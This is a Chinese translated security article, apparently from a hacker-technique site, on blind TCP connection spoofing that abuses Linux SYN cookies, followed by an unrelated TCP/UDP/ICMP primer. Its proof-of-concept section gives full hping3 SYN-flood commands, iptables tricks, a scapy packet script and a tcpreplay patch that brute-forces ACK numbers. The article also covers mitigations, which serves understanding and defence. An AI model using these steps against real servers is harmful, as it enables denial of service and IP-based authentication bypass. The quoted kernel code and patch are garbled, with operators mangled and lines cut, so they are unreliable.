快速穷举TCP连接欺骗攻击-利用SYN Cookies_黑客技术
记录黑客技术中优秀的内容, 传播黑客文化,分享黑客技术精华
摘要TCP 利用 32比特的 Seq/Ack 序列号来确认每一个连接的可靠性. 此外, 这些32位的序列号还能保证服务器不会被会话劫持，伪造一个服务器发出的初始序列号(ISN) 是个难以实现的技术. 因为暴力破解的话需要穷举这个32比特的序列号，在一个千兆比特级别的网卡上也是很难实现的. 今天的文章将为大家带来是如何利用 TCP SYN Cookies (一项广泛使用的用来防止SYN-Flooding DOS攻击的防卫机制)来减少穷举ISN所需要花费的时间, SYN Cookies已经在Ubuntu 和 Debian各个发行版默认安装.I. TCP基础知识复习一个TCP连接是从三次握手开始的:SYN: 客户端A发送一个SYN数据包给服务器，用来初始化一个连接. 这个SYN 包包含了客户端A所产生的一个初始序列号(ISN).SYN-ACK: 服务器B应答了客户端A的这个连接请求. SYN-ACK包也包含了一个ISN，但是这个ISN是服务器所产生的. 除此之外，他还会应答上一个客户端发来的ISN，因此客户端A 能够从这个SYN-ACK包中确认到它上一次发的信息已经被服务器B所收获，而且通过ISN，还能验证是否由它所要求的服务器所发出，这样就验证了服务器的真伪。ACK: 在三次握手的最后一个步骤，客户端A会发来一个ACK应答包，用来向服务器B确认客户端A已经收到服务器B 的ISN. 因此，服务器B就能确认客户端A实际上已经接收到了它发出的SYN-ACK 包，整个三次握手的过程如上图所示。当三次握手完成之后TCP就建立了，这时，通信双方才可以真正开始传输数据给对方. 初始序列号不仅确定了对方可以接收到它所发出的数据包，而且也防止了IP欺骗，因为攻击者无法伪造初始序列号，也无法得知初始序列号是多少。因为初始序列号是一个 32-bit 的值， 我们不可能盲目地穷举ISN来构造数据包. 如果我们需要发送3个数据包给服务器(一个 SYN 包用来初始化连接, 一个ACK 包用来结束三次握手和一个payload数据包), 我们平均需要发送3*2^32个数据包才可能成功做成一个会话欺骗. 如果我们以 300,000 个数据包一秒的速率来不断发包(能用一个千兆比特的高速网卡轻易实现), 发送完这些数据包需要12个小时.TCP协议在设计上有一个广为人知的弱点，攻击者能够用数目巨大的SYN包来欺骗服务器. 服务器必须针对每一个SYN请求回送一个SYN-ACK 应答包，此时，服务器就必须保持一条半开放的连接，直到接收到一个对应的ACK应答包为止. 保持如此数目巨大的半开放连接，将会持续消耗掉服务器的资源，直到资源枯竭。服务器将会速度越来越慢，但是客户端的这种攻击却被视作是“合法”的，因为它遵守了TCP协议。这种“合法”的攻击叫做SYN Flooding（SYN泛洪攻击），它也是属于DOS攻击的一种。甚至攻击者只需一点点网络带宽就可以有效地攻陷一台普通的服务器。II. 什么是SYN Cookie？为了保护服务器不被SYN-Flooding攻击, Daniel J. Bernstein 在1996年发明了一项叫做TCP Syn Cookies 的技术.其核心技术是在TCP服务器收到TCP SYN包并返回TCP SYN+ACK包时，不分配一个专门的数据区，而是根据这个SYN包计算出一个cookie值。在收到TCP ACK包时，TCP服务器再根据那个cookie值检查这个TCP ACK包的合法性。如果合法，再分配专门的数据区进行处理未来的TCP连接。服务器因此可以不用保持半开放的连接, Syn Cookies只会记住客户端发送的SYN 数据包的一些细节. 例如，当初始 SYN数据包包含了客户端发来的最大分段大小(MSS) 时, 服务器能够利用3个比特的标志位将MSS进行编码 (利用一张8位硬编码MSS值的表). 或是为了确认这个半开放的连接状态会在一段时间后过期，服务器会设置一串缓慢递增的字符计数器(一般一分钟递增一次). SYN数据包的其他选项一概不予理会。(最近 Linux 内核新增了对TCP中时间戳消息选项的支持 ). 当收到ACK 应答包时, Linux 内核会提取相应的SYN Cookie值来跟ACK包作对比。Bernstein的这个经典的方法只重新设置了计数器和MSS值
，只利用了ISN的8 个比特，因此，让剩下的24个比特的信息可以被攻击者所伪造（非可以预测性）以用来做会话劫持。这导致SYN+ACK包能够在相当短的一段时间内被穷举，利用现在的网络硬件设备，这可以轻易做到。为了缓和此类攻击，, Bernstein建议： :# 增加额外的cookie标志位：一个32比特长由私密函数生成的 a 32-bit 信息以防止攻击这已经在最新的Lunix内核中被实现了，它确实保证了加密后的ISN信息比没有用加密函数的更加难以被穷举。但是，当我们更进一步地观察这个加密函数时，我们发现，攻击者也许不用穷举整个32比特的ISN。下列的一系列函数给我们展示了基于 Linux Kernel 3.10.1 内核的SYN Cookies是如何工作的 (file net/ipv4/syncookies.c):#define COOKIEBITS 24/* Upper bits store count */#define COOKIEMASK (((__u32)1 && COOKIEBITS) - 1)static __u32 secure_tcp_syn_cookie(__be32 saddr, __be32 daddr, __be16 sport,
__be16 dport, __u32 sseq, __u32 count,
__u32 data){/* * Compute the secure sequence number. * The output should be: *
HASH(sec1,saddr,sport,daddr,dport,sec1) + sseq + (count * 2^24) *
+ (HASH(sec2,saddr,sport,daddr,dport,count,sec2) % 2^24). * Where sseq is their sequence number and count increases every * minute by 1. * As an extra hack, we add a small "data" value that encodes the * MSS into the second hash value. */return (cookie_hash(saddr, daddr, sport, dport, 0, 0) +sseq + (count && COOKIEBITS) +((cookie_hash(saddr, daddr, sport, dport, count, 1) + data) & COOKIEMASK));}sseq值是一个由客户端生成的序列号，因此，它能轻而易举地被攻击者所截获。数据的类型是0至7之间的整型，SYN Cookie利用这8个整型数据来编码MSS的值. 而计数器的数值只是一个一分钟递增一次的时间戳，数据总长为8比特。然而, 攻击者也必须暴力破解这个计数器的数值从而达到伪装的目的。下面两个函数展示了SYN Cookies是如何检查收到的ACK数据包:+#define COUNTER_TRIES 4/* * This retrieves the small "data" value from the syncookie. * If the syncookie is bad, the data returned will be out of * range.
This must be checked by the caller. * * The count value used to generate the cookie must be within * "maxdiff" if the current (passed-in) "count".
The return value * is (__u32)-1 if this test fails. */static __u32 check_tcp_syn_cookie(__u32 cookie, __be32 saddr, __be32 daddr,
__be16 sport, __be16 dport, __u32 sseq,
__u32 count, __u32 maxdiff){__u32/* Strip away the layers from the cookie */cookie -= cookie_hash(saddr, daddr, sport, dport, 0, 0) +/* Cookie is now reduced to (count * 2^24) ^ (hash % 2^24) */diff = (count - (cookie && COOKIEBITS)) & ((__u32) - 1 && COOKIEBITS);if (diff &= maxdiff)return (__u32)-1;return (cookie -cookie_hash(saddr, daddr, sport, dport, count - diff, 1))& COOKIEMASK;/* Leaving the data behind */}/* * Check if a ack sequence number is a valid syncookie. * Return the decoded mss if it is, or 0 if not. */static inline int cookie_check(struct sk_buff *skb, __u32 cookie){const struct iphdr *iph = ip_hdr(skb);const struct tcphdr *th = tcp_hdr(skb);__u32 seq = ntohl(th-&seq) - 1;__u32 mssind = check_tcp_syn_cookie(cookie, iph-&saddr, iph-&daddr,
th-&source, th-&dest, seq,
jiffies / (HZ * 60),
COUNTER_TRIES);return mssind & ARRAY_SIZE(msstab) ? msstab[mssind] : 0;}首先, 服务器移除ISN里由客户端定义的第一个哈希值.这是非常容易实现的，因为这个哈希值是关于源/目的地址和源/目的端口，在传输的过程中并不会改变原值. 接下来的8个比特是计数器的值，计数器的值用来作为服务器生成SYN Cookie的依据之一。服务器会对这个计数器的值再做一次哈希。之后和MSS值一起，作为SYN Cookie辨别回来的ACK应答包是否是源地址发送过来的标准。III. 利用大量有效编码的ISN来减少暴力穷举的时间花费当Lunix内核编码一个ISN的计数器值和MSS值时，内核必须编码出一个有效的计数器值和MSS值的组合。但是，在一段给定的时间里. 有四个计数器值和8个可能的MSS值构成32种计数器值和MSS值的组合也会被服务器的SYN Cookie认定是有效值。攻击者可以利用这32位组合的其中任何一种就可以构造出一个让服务器的SYN Cookie接受的ACK 应答包. 通过构造经过精心配比的有效ISN值，即可减少暴力穷举的时间花费。因为服务器不用记住它接收过什么SYN数据包而是利用了SYN Cookies机制,因此攻击者并不需要发送初始的SYN 数据包.当我们发送完伪造的32合法的ACK应答包后，服务器的内核会处理这些有效的ACK应答包，而并不管是否之前有这些应答包对应的SYN-Ack 包或SYN包。IV.如何将 ACK-Packet和 Payload 组合在一起虽然TCP 标准假设数据在三次握手完成之后发送，但是我们可以将数据附在ACK应答包中随着三次握手的最后一握一起发送！（这他喵也可以啊！） . 这就意味着，攻击者可以将payload数据(例如一个http请求头)附在经过精细配置ISN的ACK应答包中，这就可以做会话劫持了，再次减少了独自发送payload数据包的时间花费。因此做成一次成功的会话劫持所发的数据包可以平均减少至2^32 / 32 个(因为服务器可以一次性接收32个不同的ISN值). 这样我们就介意把原先section I中的12小时缩减至8分钟即可完成一次暴力穷举。 V.哪些应用软件可用做TCP 会话劫持的目标许多应用软件的开发机制中，有一点是会确认客户端的IP地址真实存在的，因此不会很容易就被会话劫持. 是否可以伪造源地址对哪些当使用IP地址来作为身份认证的应用软件具有十分重要的意义。现在仍有许多应用程序使用IP地址来作为身份认证，例如. 某些程序上的管理员接口只开放给一些认定IP地址的主机.另外一个普遍使用IP地址来作为身份认证的例子莫过于，许多web应用将session ID与绑定用户的IP地址相绑定. 一旦用户的session ID被攻击者窃取,攻击者可以通过各种手段来伪造用户的IP地址以达到session劫持的攻击效果.除此之外，许多应用程序还使用IP 地址作为验证请求, 这可以让应用程序非常简单就可以记录用户的IP地址。这也让管理员能够轻易地根据入侵者的IP地址记录，来追查入侵者蛛丝马迹。但是这种方式记录攻击者IP的地址也不是十全十美的，因为攻击者利用各种代理就可以轻易地躲避追查。这项技术的一个最大的弊端就在于：通过伪造你的IP地址，你只能够发送一个请求，但是并不能够接收到服务器的任何响应. 但是对于大多数协议来说，我们还是可以轻易获得服务器的响应。利用ACK应答包和Payload数据包结合的方法来做会话劫持，比较适用于利用比较复杂的协议来做开发的应用程序。VI. 一个POC Exploit 和检验方法这个部分主要描述了真实攻击中所需要的步骤和前期准备，完整的POC 代码将在下文中贴出. 我将实验的目标服务器的IP地址设为192.168.1.11 、端口设置为1234. 攻击者的主机在同一个网段内，攻击机的IP地址为192.168.1.217.首先，先确认SYN Cookies 已经正常工作，我们可以在 /proc/sys/net/ipv4/tcp_syncookies (在不同的linux 发行版中都是这个默认路径)路径下查看,。系统将会仍然使用服务器缓冲队列来存储半开放状态的连接，直到缓冲区溢出时，系统才会回退去使用SYN Cookies. 这种现象的主要是优化的结果，因为当服务器相对空闲的情况下，系统仍偏向用传统的连接处理机制来存储连接状态，这是因为服务器想尽可能多地保存连接信息，). 我们可以在/proc/sys/net/ipv4/tcp_max_syn_backlog 定义服务器缓冲队列的大小，默认状态下的缓冲区队列大小是2048字节。所以，在会话劫持攻击之前，我们必须先使用Syn-Flooding攻击使服务器的缓冲区队列溢出.可以通过使用hping3工具完成，命令如下:hping3 -i u100 -p 1234 -S -a 192.168.1.216 -q 192.168.1.11&我们多开几个hping3 来并行发包，以加快暴力穷举的速度。我们用下列的命令来发送SYN数据包，hping3将每秒发送3000个SYN 数据包给目标服务器:do time hping3 -i u1 -c 3000 -S -q -p 1234 -a 192.168.1.216 192.168.1.11;sleep 1;done目标服务器经受SYN-Flooding攻击之后，如果攻击机不响应一个RST数据包或是返回一个ICMP目标主机不可达的消息的话，服务器的缓冲区队列将会被塞满. 在linux下，你可以简单地增加一个网络接口来增加一个IP地址，让所有的通信流量流经此网络接口，以此来阻止攻击机回复RST 数据包，配置的命令如下:ifconfig eth0:1 inet 192.168.1.216 netmask 255.255.255.0 upiptables -I INPUT --dst 192.168.1.216 -j DROP我曾经用相同的命令来配置攻击机.这个命令保证了攻击机不会响应一个RST数据包或是返回一个ICMP目标主机不可达的消息, 这可能导致连接过早地中断，所以我们将主机配置如下：ifconfig eth0:2 inet 192.168.1.217 netmask 255.255.255.0 upiptables -I INPUT --dst 192.168.1.217 -j DROP一旦服务器系统开启了SYN-Cookie 模式,就是时候开始发送我们之前已经精心构造的32比特ISN信息的ACK+PAYLOAD数据包了。我最初想利用scapy这个工具来实现，但是scapy的发包速度太慢了，完全不符合我们的期望 (少于10k 个数据包一秒). 所以，我利用了tcpreplay 这款工具来实现，主要实现的难点是如何没有重复地穷举2^32 个可能值. 在理论上，你必须穷举全部可能的 ISNs. 但是计数器值只会在一分钟内递增一次，我们正可以利用这个特性来把算法进行优化，我们利用一种叫做“线性搜索”的算法来做优化，所以我们可以让tcpreplay生成数据包更加快捷。下列的python脚本会创建一个简单的ACK 应答包，并且将payload加入其中：#!/usr/bin/python# Change log level to suppress annoying IPv6 errorimport logginglogging.getLogger("scapy.runtime").setLevel(logging.ERROR)from scapy.all import *import time# Adjust MAC addresses of sender and recipient of this packet accordingly, the dst MAC # should be the MAC of the gateway to use when the target is not on your local subnetether=Ether(src="40:eb:60:9f:42:a0",dst="e8:40:f2:d1:b3:a2")# Set up source and destination IP addressesip=IP(src="192.168.1.217", dst="192.168.1.11")# Assemble an ACK packet with "Hello World\n" as a payloadpkt = ether/ip/TCP(sport=31337, dport=1234, flags="A", seq=43, ack=1337) / ("Hello World\n")# Write the packet to a pcap file, which can then be sent using a patched version of tcpreplaywrpcap("ack_with_payload.pcap",pkt)下一步是修补并且编译tcpreplay:tcpreplay_patch.txtraw downloaddiff -u -r tcpreplay-3.4.4/src/send_packets.c tcpreplay-3.4.4.patched/src/send_packets.c--- tcpreplay-3.4.4/src/send_packets.c 02:58:02. +0200+++ tcpreplay-3.4.4.patched/src/send_packets.c 10:56:51. +0200@@ -81,6 +81,9 @@ void send_packets(pcap_t *pcap, int cache_file_idx) {+
static u_int32_t ack_bruteforce_offset = 1;+
uint32_t*+
uint32_t orig_
struct timeval last = { 0, 0 }, last_print_time = { 0, 0 }, print_delta,
COUNTER packetnum = 0;
struct pcap_@@ -154,6 +157,9 @@ #endif #if defined TCPREPLAY && defined TCPREPLAY_EDIT+
ack = (uint32_t*)(pktdata + 14 + 20 + 8);+
orig_ack = *+
*ack = htonl(ntohl(*ack) + ack_bruteforce_offset);
pkthdr_ptr = &
if (tcpedit_packet(tcpedit, &pkthdr_ptr, &pktdata, sp-&cache_dir) == -1) {
errx(-1, "Error editing packet #" COUNTER_SPEC ": %s", packetnum, tcpedit_geterr(tcpedit));@@ -176,7 +182,7 @@
/* write packet out on network */
if (sendpacket(sp, pktdata, pktlen) & (int)pktlen)
warnx("Unable to send packet: %s", sendpacket_geterr(sp));-+
*ack = orig_
* track the time of the "last packet sent".
Again, because of OpenBSD
* we have to do a mempcy rather then assignment.@@ -205,7 +211,7 @@
} /* while */-+
ack_bruteforce_offset += 31337;
if (options.enable_file_cache) {
options.file_cache[cache_file_idx].cached = TRUE;
}&下列命令适用于Ubuntu 12.04 amd64系统:apt-get install build-essential libpcap-devln -s lib/x86_64-linux-gnu /usr/lib64 # Quick workaround for a bug in the build system of tcpreplaywget -O tcpreplay-3.4.4.tar.gz http://prdownloads.sourceforge.net/tcpreplay/tcpreplay-3.4.4.tar.gz?downloadtar xzvf tcpreplay-3.4.4.tar.gzcd tcpreplay-3.4.4cat ../tcpreplay_patch.txt | patch -p1./configuremakecp src/tcpreplay-edit ../&将tcpreplay打过编译并且升至最新版本之后,你就能使用下列来发送数据包啦：python create_packet.pydo time ./tcpreplay-edit -i eth0 -t -C -K -l
-q ack_with_payload.done&VII. 实验结果我曾用一部用了3年的笔记本在本地网络上测试这程序（HP 6440，i5-430M CPU和Marvell 88e8072千兆网卡），笔记本作为攻击机和一台台式电脑作服务器。用一个功能比较小的payload，可实现的包封率为280000包/秒。在测试的攻击主机上，tcpreplay工具占用了73% CPU使用率（在时间的输出上。18%为用户输出和55%为系统输出）根据，可以预期，当给出了一种快速的算法与一个相当好的英特尔千兆网卡时，包封率至少可以翻了一番。当然，实际包封率也取决于payload数据的大小。在10.5小时的通宵运行中，我成功地欺骗了64个连接，这里面每一个成功的TCP欺骗平均用时10分钟。这是有点低于预期值：79个伪造连接（每8分钟一次）。有几种可能的解释这种偏差：1.在tcpreplay过程中需要花费一定的时间在最后的打印统计上。在这段时间里没有包发送。所以，我只用tcpreplay的输出统计测量包率和测得的数据包的速率可能会有一点点偏离。2.当你的硬件实现的最大数据传输速率，可能会有数据包丢失（尤其是如果你不使用任何一种拥塞控制）。3.欺骗成功率是一个统计过程。标准偏差约为欺骗连接的预期数量的平方根，这特别不是不可能是被一个或两个标准偏差的期望值取消。在这个实验中，标准偏差和测量一些伪造连接有1.68的标准偏差，这都是在预期中的统计变化。VIII. 可能的缓解方案TCP连接欺骗的实现，是一个TCP SYN Cookie的固有的问题，所以不会有一个简单的补丁能解决这个问题，使得欺骗攻击和没有SYN Cookies一样困难。唯一有可能做的，只能是增加欺骗一个连接难度，如只接受最后两个而不是四个计数器值（在SYN泛洪攻击时，这将导致一个60-120s在三次握手中最初的SYN和最后的ACK数据包之间的超时）或通过不允许有payload数据加在ACK数据包的数据排列后面（数据包的攻击者发送数量这将增加一倍）。然而，即使这两个缓解措施到位，有SKN cookies的欺骗攻击仍然是比没有SYN cookies的容易，而且这会很不可取的去假设TCP连接的源IP地址不能被欺骗。它也可能使用TCP时间戳选项下的较低比特（这是目前用于支持有SYN Cookies的TCP 选项）来编码MSS和计数器的值。然而，如果服务器拒绝不支持具有TCP时间戳的客户端，在SYN泛洪攻击期间这能提供有效的保护，但这将打破标准TCP协议实现的通用性。这显然可以禁用SYN Cookies（或是在/proc/sys/net/ IPv4／tcp_max_syn_backlog增加储存队列长度）。然而，禁用SYN Cookie的话，在SYN泛洪攻击时可能需要大量CPU时间和内存。此外，在没有SYN cookies下，会话欺骗是仍然是可能实现的——几个千兆以太网连接的穷举攻击下，它仍可能会成功。鉴于其他减缓措施，我的建议是解决高水平的问题——确保应用程序的安全性不依赖于源地址的可靠性。这显然意味着你永远不应该依赖于源IP地址认证。对于Web应用程序也可以通过使用安全的CSRF令牌缓解问题，CSRF攻击将在服务器造成持久的变化而没有处理要求，除非使用了有效的CSRF令牌。在这种情况下使用CSRF令牌请求的IP地址可能被欺骗，但是令牌已发送到的IP地址不可伪造，由于攻击者将要收到CSRF令牌以至于他可以使用它。IP地址登录时用于某些行为如博客评论或注册帐户，该CSRF令牌已发送到的IP地址应同时记录（或代替）使用令牌的IP地址。日币奖励：本文为原创译文、首发，根据本站给予日币奖励共6枚。AD：本站开放投稿及积分（日币），日币可兑换实物奖励，每月top3可获得礼品一份。相关参考文献：[1]: http://lwn.net/Articles/277146/[2]: http://cr.yp.to/syncookies.html Section “What are SYN cookies?”[3]: http://cr.yp.to/syncookies.html Section “Blind connection forgery”[4]: [5]:HTTP：/ wiki.networksecuritytoolkit.org / nstwiki index.php / lan_ethernet_maximum_rates，_generation，_capturing_ % 26_monitoring # pktgen：_udp_60_byte_packets[via@] 文中若未特别声明转载请注明来自：91ri.org
阅读:34915 | 评论:0 | 标签:
想收藏或者和大家分享这篇好文章→
?微信扫一扫,快速掌握黑客技术?摘要：首先详细了解一下TCP三次握手的过程 三次握手Three-way Handshake 一个虚拟连接的建立是通过三次握手来实现的 1. (B) -- [SYN] -- (A) 假如服务器A和客户机B通讯. 当A要和B通信时，B首先向A发一个SYN (Synchronize) 标记的包，告诉A请求建立连接. 注意: 一个...
首先详细了解一下TCP三次握手的过程
三次握手Three-way Handshake
一个虚拟连接的建立是通过三次握手来实现的
1. (B) --& [SYN] --& (A)
假如A和客户机B通讯. 当A要和B通信时，B首先向A发一个SYN (Synchronize) 标记的包，告诉A请求建立连接.
注意: 一个SYN包就是仅SYN标记设为1的TCP包(参见TCP包头Resources). 认识到这点很重要，只有当A受到B发来的SYN包，才可建立连接，除此之外别无他法。因此，如果你的防火墙丢弃所有的发往外网接口的SYN包，那么你将不 能让外部任何主机主动建立连接。
2. (B) &-- [SYN/ACK] &--(A)
接着，A收到后会发一个对SYN包的确认包(SYN/ACK)回去，表示对第一个SYN包的确认，并继续握手操作.
注意: SYN/ACK包是仅SYN 和ACK 标记为1的包.
3. (B) --& [ACK] --& (A)
B收到SYN/ACK 包,B发一个确认包(ACK)，通知A连接已建立。至此，三次握手完成，一个TCP连接完成
Note: ACK包就是仅ACK 标记设为1的TCP包. 需要注意的是当三此握手完成、连接建立以后，TCP连接的每个包都会设置ACK位
这就是为何连接跟踪很重要的原因了. 没有连接跟踪,防火墙将无法判断收到的ACK包是否属于一个已经建立的连接.一般的包过滤(Ipchains)收到ACK包时,会让它通过(这绝对不是个 好主意). 而当状态型防火墙收到此种包时，它会先在连接表中查找是否属于哪个已建连接，否则丢弃该包
四次握手Four-way Handshake
四次握手用来关闭已建立的TCP连接
1. (B) --& ACK/FIN --& (A)
2. (B) &-- ACK &-- (A)
3. (B) &-- ACK/FIN &-- (A)
4. (B) --& ACK --& (A)
注意: 由于TCP连接是双向连接, 因此关闭连接需要在两个方向上做。ACK/FIN 包(ACK 和FIN 标记设为1)通常被认为是FIN(终结)包.然而, 由于连接还没有关闭, FIN包总是打上ACK标记. 没有ACK标记而仅有FIN标记的包不是合法的包，并且通常被认为是恶意的
连接复位Resetting a connection
四次握手不是关闭TCP连接的唯一方法. 有时,如果主机需要尽快关闭连接(或连接超时,端口或主机不可达),RST (Reset)包将被发送. 注意在，由于RST包不是TCP连接中的必须部分, 可以只发送RST包(即不带ACK标记). 但在正常的TCP连接中RST包可以带ACK确认标记
请注意RST包是可以不要收到方确认的
无效的TCP标记Invalid TCP Flags
到目前为止，你已经看到了SYN, ACK, FIN, 和RST 标记. 另外，还有PSH (Push) 和URG (Urgent)标记.
最常见的非法组合是SYN/FIN 包. 注意:由于SYN包是用来初始化连接的, 它不可能和FIN和RST标记一起出现. 这也是一个恶意.
由于现在大多数防火墙已知SYN/FIN 包, 别的一些组合,例如SYN/FIN/PSH, SYN/FIN/RST, SYN/FIN/RST/PSH。很明显，当网络中出现这种包时，很你的网络肯定受到攻击了。
别的已知的非法包有FIN (无ACK标记)和&NULL&包。如同早先讨论的，由于ACK/FIN包的出现是为了关闭一个TCP连接，那么正常的FIN包总是带有ACK 标记。&NULL&包就是没有任何TCP标记的包(URG,ACK,PSH,RST,SYN,FIN都为0)。
到目前为止，正常的网络活动下，TCP协议栈不可能产生带有上面提到的任何一种标记组合的TCP包。当你发现这些不正常的包时，肯定有人对你的网络不怀好意。
UDP (用户数据包协议User Datagram Protocol)
TCP是面向连接的，而UDP是非连接的协议。UDP没有对接受进行确认的标记和确认机制。对丢包的处理是在应用层来完成的。(or aidental arrival).
此处需要重点注意的事情是：在正常情况下，当UDP包到达一个关闭的端口时，会返回一个UDP复位包。由于UDP是非面向连接的, 因此没有任何确认信息来确认包是否正确到达目的地。因此如果你的防火墙丢弃UDP包，它会开放所有的UDP端口(?)。
由于Internet上正常情况下一些包将被丢弃，甚至某些发往已关闭端口(非防火墙的)的UDP包将不会到达目的，它们将返回一个复位UDP包。
因为这个原因，UDP端口扫描总是不精确、不可靠的。
看起来大UDP包的碎片是常见的DOS (Denial of Service)攻击的常见形式(这里有个DOS攻击的例子，/dos/grcdos.htm ).
ICMP (网间控制消息协议Internet Control Message Protocol)
如同名字一样，ICMP用来在主机/路由器之间传递控制信息的协议。ICMP包可以包含诊断信息(ping, traceroute - 注意目前unix系统中的traceroute用UDP包而不是ICMP)，错误信息(网络/主机/端口 不可达network/host/port unreachable), 信息(时间戳timestamp, 地址掩码address mask request, etc.)，或控制信息(source quench, redirect, etc.) 。
你可以在http://www.iana.org/assignments/icmp-parameters中找到ICMP包的类型。
尽管ICMP通常是无害的，还是有些类型的ICMP信息需要丢弃。
Redirect (5), Alternate Host Address (6), Router Advertisement (9) 能用来转发通讯。
Echo (8), Timestamp (13) and Address Mask Request (17) 能用来分别判断主机是否起来，本地时间 和地址掩码。注意它们是和返回的信息类别有关的。它们自己本身是不能被利用的，但它们泄露出的信息对攻击者是有用的。
ICMP消息有时也被用来作为DOS攻击的一部分(例如：洪水ping flood ping,死ping ?呵呵，有趣ping of death)?/p&
包碎片注意A Note About Packet Fragmentation
如果一个包的大小超过了TCP的最大段长度MSS (Maximum Segment Size) 或MTU (Maximum Transmission Unit)，能够把此包发往目的的唯一方法是把此包分片。由于包分片是正常的，它可以被利用来做恶意的攻击。
因为分片的包的第一个分片包含一个包头，若没有包分片的重组功能，包过滤器不可能检测附加的包分片。典型的攻击Typical attacks involve in overlapping the packet data in which packet header is 典型的攻击Typical attacks involve in overlapping the packet data in which packet header isnormal until is it overwritten with different destination IP (or port) thereby bypassing firewall rules。包分片能作为DOS 攻击的一部分，它可以crash older IP stacks 或涨死CPU连接能力。
Netfilter/Iptables中的连接跟踪代码能自动做分片重组。它仍有弱点，可能受到饱和连接攻击，可以把CPU资源耗光。
标签分类：}